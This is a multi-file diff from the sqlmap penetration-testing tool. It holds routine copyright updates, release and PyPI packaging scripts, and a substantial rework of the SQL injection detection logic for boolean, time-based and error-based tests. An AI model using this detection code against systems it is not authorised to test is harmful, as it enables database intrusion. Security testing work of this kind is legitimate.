@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound

-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility

-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter

-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -99,7 +99,7 @@ void usage(char *path)
 	printf("  -h                 this screen\n");
 	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
    printf("                     before quitting\n");
-	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+	printf("  -s bytes           maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
 	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
    printf("increase the size (-s) of the data buffer\n");
 }
@@ -203,8 +203,6 @@ int main(int argc, char **argv)
 	PROCESS_INFORMATION pi;
 	int status;
 	unsigned int max_data_size;
-	struct hostent *he;
-

 	// set defaults
 	target = 0;
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -3,7 +3,7 @@
 """
 safe2bin.py - Simple safe(hex) to binary format converter

-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -23,7 +23,7 @@ HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
 SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c"

 # Characters that don't need to be safe encoded
-SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
+SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))

 # Prefix used for hex encoded values
 HEX_ENCODED_PREFIX = r"\x"
@@ -47,7 +47,7 @@ def safecharencode(value):
    retVal = value

    if isinstance(value, basestring):
-        if any(_ not in SAFE_CHARS for _ in value):
+        if any([_ not in SAFE_CHARS for _ in value]):
            retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER)
            retVal = retVal.replace('\\', SLASH_MARKER)

@@ -1,6 +1,6 @@
 #!/usr/bin/env python

-# Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 # See the file 'doc/COPYING' for copying permission

 # Removes duplicate entries in wordlist like files
@@ -0,0 +1,23 @@
+#!/bin/bash
+
+SETTINGS="../../lib/core/settings.py"
+
+declare -x SCRIPTPATH="${0}"
+
+FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
+
+if [ -f $FULLPATH ]
+then
+    LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"')
+    declare -a LINE
+    NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE")
+    if [ -n "$NEW_TAG" ]
+    then
+        #git commit -am "Automatic monthly tagging"
+        echo "Creating new tag ${NEW_TAG}"
+        git tag $NEW_TAG
+        git push origin $NEW_TAG
+        echo "Going to push PyPI package"
+        /bin/bash ${SCRIPTPATH%/*}/pypi.sh
+    fi
+fi
@@ -0,0 +1,32 @@
+#!/bin/bash
+
+PROJECT="../../"
+SETTINGS="../../lib/core/settings.py"
+CHECKSUM="../../txt/checksum.md5"
+
+declare -x SCRIPTPATH="${0}"
+
+PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
+SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
+CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
+
+git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
+
+if [ -f $SETTINGS_FULLPATH ]
+then
+    LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
+    declare -a LINE
+    INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
+    if [ -n "$INCREMENTED" ]
+    then
+        sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
+        echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}"
+    else
+        echo "Something went wrong in VERSION increment"
+        exit 1
+    fi
+    git add "$SETTINGS_FULLPATH"
+fi
+
+truncate -s 0 "$CHECKSUM_FULLPATH"
+cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done
@@ -20,8 +20,8 @@ def check(module):
        print "CHECKING ", module
        pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
        for line in pout:
-            if  re.match("E....:.", line):
-                print line
+            if  re.match("\AE:", line):
+                print line.strip()
            if __RATING__ and "Your code has been rated at" in line:
                print line
                score = re.findall("\d.\d\d", line)[0]
@@ -0,0 +1,177 @@
+#!/bin/bash
+
+declare -x SCRIPTPATH="${0}"
+SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py"
+VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3)
+TYPE=pip
+TMP_DIR=/tmp/pypi
+mkdir $TMP_DIR
+cd $TMP_DIR
+cat > $TMP_DIR/setup.py << EOF
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from setuptools import setup, find_packages
+
+setup(
+    name='sqlmap',
+    version='$VERSION',
+    description="Automatic SQL injection and database takeover tool",
+    author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
+    author_email='[email protected], [email protected]',
+    url='https://sqlmap.org',
+    download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
+    license='GNU General Public License v2 (GPLv2)',
+    packages=find_packages(),
+    include_package_data=True,
+    zip_safe=False,
+    # https://pypi.python.org/pypi?%3Aaction=list_classifiers
+    classifiers=[
+        'Development Status :: 5 - Production/Stable',
+        'License :: OSI Approved :: GNU General Public License v2 (GPLv2)',
+        'Natural Language :: English',
+        'Operating System :: OS Independent',
+        'Programming Language :: Python',
+        'Environment :: Console',
+        'Topic :: Database',
+        'Topic :: Security',
+    ],
+    entry_points={
+        'console_scripts': [
+            'sqlmap = sqlmap.sqlmap:main',
+        ],
+    },
+)
+EOF
+wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
+unzip sqlmap.zip
+rm sqlmap.zip
+mv "sqlmap-$VERSION" sqlmap
+cat > sqlmap/__init__.py << EOF
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+import os
+import sys
+
+sys.dont_write_bytecode = True
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+EOF
+cat > README.rst << "EOF"
+sqlmap
+======
+
+|Build Status| |Python 2.6|2.7| |License| |Twitter|
+
+sqlmap is an open source penetration testing tool that automates the
+process of detecting and exploiting SQL injection flaws and taking over
+of database servers. It comes with a powerful detection engine, many
+niche features for the ultimate penetration tester and a broad range of
+switches lasting from database fingerprinting, over data fetching from
+the database, to accessing the underlying file system and executing
+commands on the operating system via out-of-band connections.
+
+Screenshots
+-----------
+
+.. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png
+   :alt: Screenshot
+
+
+You can visit the `collection of
+screenshots <https://github.com/sqlmapproject/sqlmap/wiki/Screenshots>`__
+demonstrating some of features on the wiki.
+
+Installation
+------------
+
+You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: ::
+
+    pip install --upgrade sqlmap
+
+Alternatively, you can download the latest tarball by clicking
+`here <https://github.com/sqlmapproject/sqlmap/tarball/master>`__ or
+latest zipball by clicking
+`here <https://github.com/sqlmapproject/sqlmap/zipball/master>`__.
+
+If you prefer fetching daily updates, you can download sqlmap by cloning the
+`Git <https://github.com/sqlmapproject/sqlmap>`__ repository:
+
+::
+
+    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap works out of the box with
+`Python <http://www.python.org/download/>`__ version **2.6.x** and
+**2.7.x** on any platform.
+
+Usage
+-----
+
+To get a list of basic options and switches use:
+
+::
+
+    python sqlmap.py -h
+
+To get a list of all options and switches use:
+
+::
+
+    python sqlmap.py -hh
+
+You can find a sample run `here <https://asciinema.org/a/46601>`__. To
+get an overview of sqlmap capabilities, list of supported features and
+description of all options and switches, along with examples, you are
+advised to consult the `user's
+manual <https://github.com/sqlmapproject/sqlmap/wiki>`__.
+
+Links
+-----
+
+-  Homepage: http://sqlmap.org
+-  Download:
+   `.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__
+   or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__
+-  Commits RSS feed:
+   https://github.com/sqlmapproject/sqlmap/commits/master.atom
+-  Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
+-  User's manual: https://github.com/sqlmapproject/sqlmap/wiki
+-  Frequently Asked Questions (FAQ):
+   https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+-  Mailing list subscription:
+   https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+-  Mailing list RSS feed:
+   http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+-  Mailing list archive:
+   http://news.gmane.org/gmane.comp.security.sqlmap
+-  Twitter: [@sqlmap](https://twitter.com/sqlmap)
+-  Demos: http://www.youtube.com/user/inquisb/videos
+-  Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+
+.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master
+   :target: https://api.travis-ci.org/sqlmapproject/sqlmap
+.. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg
+   :target: https://www.python.org/
+.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
+   :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING
+.. |Twitter| image:: https://img.shields.io/badge/[email protected]
+   :target: https://twitter.com/sqlmap
+
+.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md
+.. http://rst.ninjs.org/
+EOF
+sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
+sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
+sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1`  lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5
+for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
+python setup.py sdist upload
+rm -rf $TMP_DIR
@@ -1,6 +1,6 @@
 #!/usr/bin/env python

-# Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 # See the file 'doc/COPYING' for copying permission

 import codecs
@@ -22,7 +22,6 @@ from lib.core.revision import getRevisionNumber

 START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
 SQLMAP_HOME = "/opt/sqlmap"
-REVISION = getRevisionNumber()

 SMTP_SERVER = "127.0.0.1"
 SMTP_PORT = 25
@@ -30,7 +29,7 @@ SMTP_TIMEOUT = 30
 FROM = "[email protected]"
 #TO = "[email protected]"
 TO = ["[email protected]", "[email protected]"]
-SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION)
+SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
 TARGET = "debian"

 def prepare_email(content):
@@ -0,0 +1,15 @@
+#!/bin/bash
+
+# References:   http://www.thegeekstuff.com/2012/09/strip-command-examples/
+#               http://www.muppetlabs.com/~breadbox/software/elfkickers.html
+#               https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
+
+# For example:
+# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
+# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so
+# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so
+# rm lib_postgresqludf_sys.so
+
+strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $*
+sstrip $*
+
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -48,9 +48,6 @@ def action():
        elif kb.nullConnection:
            errMsg += ". You can try to rerun without using optimization "
            errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
-        else:
-            errMsg += ". Support for this DBMS will be implemented at "
-            errMsg += "some point"

        raise SqlmapUnsupportedDBMSException(errMsg)

@@ -77,8 +74,7 @@ def action():

    if conf.getPasswordHashes:
        try:
-            conf.dumper.userSettings("database management system users password hashes",
-                                    conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
+            conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
        except SqlmapNoneDataException, ex:
            logger.critical(ex)
        except:
@@ -86,8 +82,7 @@ def action():

    if conf.getPrivileges:
        try:
-            conf.dumper.userSettings("database management system users privileges",
-                                    conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
+            conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
        except SqlmapNoneDataException, ex:
            logger.critical(ex)
        except:
@@ -95,8 +90,7 @@ def action():

    if conf.getRoles:
        try:
-            conf.dumper.userSettings("database management system users roles",
-                                    conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
+            conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
        except SqlmapNoneDataException, ex:
            logger.critical(ex)
        except:
@@ -1,18 +1,18 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

 import copy
 import httplib
+import random
 import re
 import socket
+import subprocess
 import time

-from subprocess import Popen as execute
-
 from extra.beep.beep import beep
 from lib.core.agent import agent
 from lib.core.common import Backend
@@ -54,6 +54,7 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import NULLCONNECTION
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -62,21 +63,24 @@ from lib.core.exception import SqlmapConnectionException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapUserQuitException
-from lib.core.settings import CLOUDFLARE_SERVER_HEADER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
+from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
+from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
+from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
 from lib.techniques.union.test import unionTest
@@ -90,6 +94,13 @@ def checkSqlInjection(place, parameter, value):
    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

+    # Favoring non-string specific boundaries in case of digit-like parameter values
+    if value.isdigit():
+        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
+        boundaries = kb.cache.intBoundaries
+    else:
+        boundaries = conf.boundaries
+
    # Set the flag for SQL injection test mode
    kb.testMode = True

@@ -97,6 +108,9 @@ def checkSqlInjection(place, parameter, value):
    tests = getSortedInjectionTests()
    seenPayload = set()

+    kb.data.setdefault("randomInt", str(randomInt(10)))
+    kb.data.setdefault("randomStr", str(randomStr(10)))
+
    while tests:
        test = tests.pop(0)

@@ -142,6 +156,7 @@ def checkSqlInjection(place, parameter, value):
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
+            trueCode, falseCode = None, None

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)
@@ -173,17 +188,18 @@ def checkSqlInjection(place, parameter, value):
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
+                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
-                            test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
-                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
-                            test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
+                            test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
+                            title = re.sub(r"\b%d\b" % _, str(__), title)
+                            test.title = re.sub(r"\b%d\b" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
                debugMsg = "skipping test '%s' because the user " % title
                debugMsg += "specified to test only for "
-                debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
+                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech)
                logger.debug(debugMsg)
                continue

@@ -303,12 +319,6 @@ def checkSqlInjection(place, parameter, value):
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)

-            # Favoring non-string specific boundaries in case of digit-like parameter values
-            if value.isdigit():
-                boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
-            else:
-                boundaries = conf.boundaries
-
            for boundary in boundaries:
                injectable = False

@@ -380,8 +390,6 @@ def checkSqlInjection(place, parameter, value):
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
-                        kb.data.setdefault("randomInt", str(randomInt(10)))
-                        kb.data.setdefault("randomStr", str(randomStr(10)))

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
@@ -441,11 +449,13 @@ def checkSqlInjection(place, parameter, value):
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(), place, raise404=False)
-                            falsePage = threadData.lastComparisonPage or ""
+                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
-                            truePage = threadData.lastComparisonPage or ""
+                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            trueRawResponse = "%s%s" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                # Perform the test's False request
@@ -460,23 +470,58 @@ def checkSqlInjection(place, parameter, value):
                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
-
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
-                                    logger.info(infoMsg)
+                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
+                                        if _ > kb.matchRatio:
+                                            kb.matchRatio = _
+                                            logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)

                                    injectable = True

-                            if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
-                                trueSet = set(extractTextTagContent(truePage))
-                                falseSet = set(extractTextTagContent(falsePage))
-                                candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))
+                            if injectable:
+                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    if all((falseCode, trueCode)) and falseCode != trueCode:
+                                        conf.code = trueCode

-                                if candidates:
-                                    conf.string = candidates[0]
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
-                                    logger.info(infoMsg)
+                                        infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code)
+                                        logger.info(infoMsg)
+                                    else:
+                                        trueSet = set(extractTextTagContent(trueRawResponse))
+                                        trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())

-                                    injectable = True
+                                        falseSet = set(extractTextTagContent(falseRawResponse))
+                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+
+                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
+
+                                        if candidates:
+                                            candidates = sorted(candidates, key=lambda _: len(_))
+                                            for candidate in candidates:
+                                                if re.match(r"\A\w+\Z", candidate):
+                                                    break
+
+                                            conf.string = candidate
+
+                                            infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                            logger.info(infoMsg)
+
+                                        if not any((conf.string, conf.notString)):
+                                            candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)))
+
+                                            if candidates:
+                                                candidates = sorted(candidates, key=lambda _: len(_))
+                                                for candidate in candidates:
+                                                    if re.match(r"\A\w+\Z", candidate):
+                                                        break
+
+                                                conf.notString = candidate
+
+                                                infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'"))
+                                                logger.info(infoMsg)
+
+                                if not any((conf.string, conf.notString, conf.code)):
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
+                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
@@ -512,13 +557,20 @@ def checkSqlInjection(place, parameter, value):
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
+                            trueCode = threadData.lastCode

                            if trueResult:
+                                # Extra validation step (e.g. to check for DROP protection mechanisms)
+                                if SLEEP_TIME_MARKER in reqPayload:
+                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
+                                    if falseResult:
+                                        continue
+
                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True
@@ -538,7 +590,7 @@ def checkSqlInjection(place, parameter, value):
                                    warnMsg = "using unescaped version of the test "
                                    warnMsg += "because of zero knowledge of the "
                                    warnMsg += "back-end DBMS. You can try to "
-                                    warnMsg += "explicitly set it using option '--dbms'"
+                                    warnMsg += "explicitly set it with option '--dbms'"
                                    singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)
@@ -598,20 +650,20 @@ def checkSqlInjection(place, parameter, value):

                        # Feed with test details every time a test is successful
                        if hasattr(test, "details"):
-                            for dKey, dValue in test.details.items():
-                                if dKey == "dbms":
-                                    injection.dbms = dValue
+                            for key, value in test.details.items():
+                                if key == "dbms":
+                                    injection.dbms = value

-                                    if not isinstance(dValue, list):
-                                        Backend.setDbms(dValue)
+                                    if not isinstance(value, list):
+                                        Backend.setDbms(value)
                                    else:
-                                        Backend.forceDbms(dValue[0], True)
+                                        Backend.forceDbms(value[0], True)

-                                elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
-                                    injection.dbms_version = Backend.setVersion(dValue)
+                                elif key == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
+                                    injection.dbms_version = Backend.setVersion(value)

-                                elif dKey == "os" and injection.os is None:
-                                    injection.os = Backend.setOs(dValue)
+                                elif key == "os" and injection.os is None:
+                                    injection.os = Backend.setOs(value)

                        if vector is None and "vector" in test and test.vector is not None:
                            vector = test.vector
@@ -624,9 +676,12 @@ def checkSqlInjection(place, parameter, value):
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
+                        injection.data[stype].trueCode = trueCode
+                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
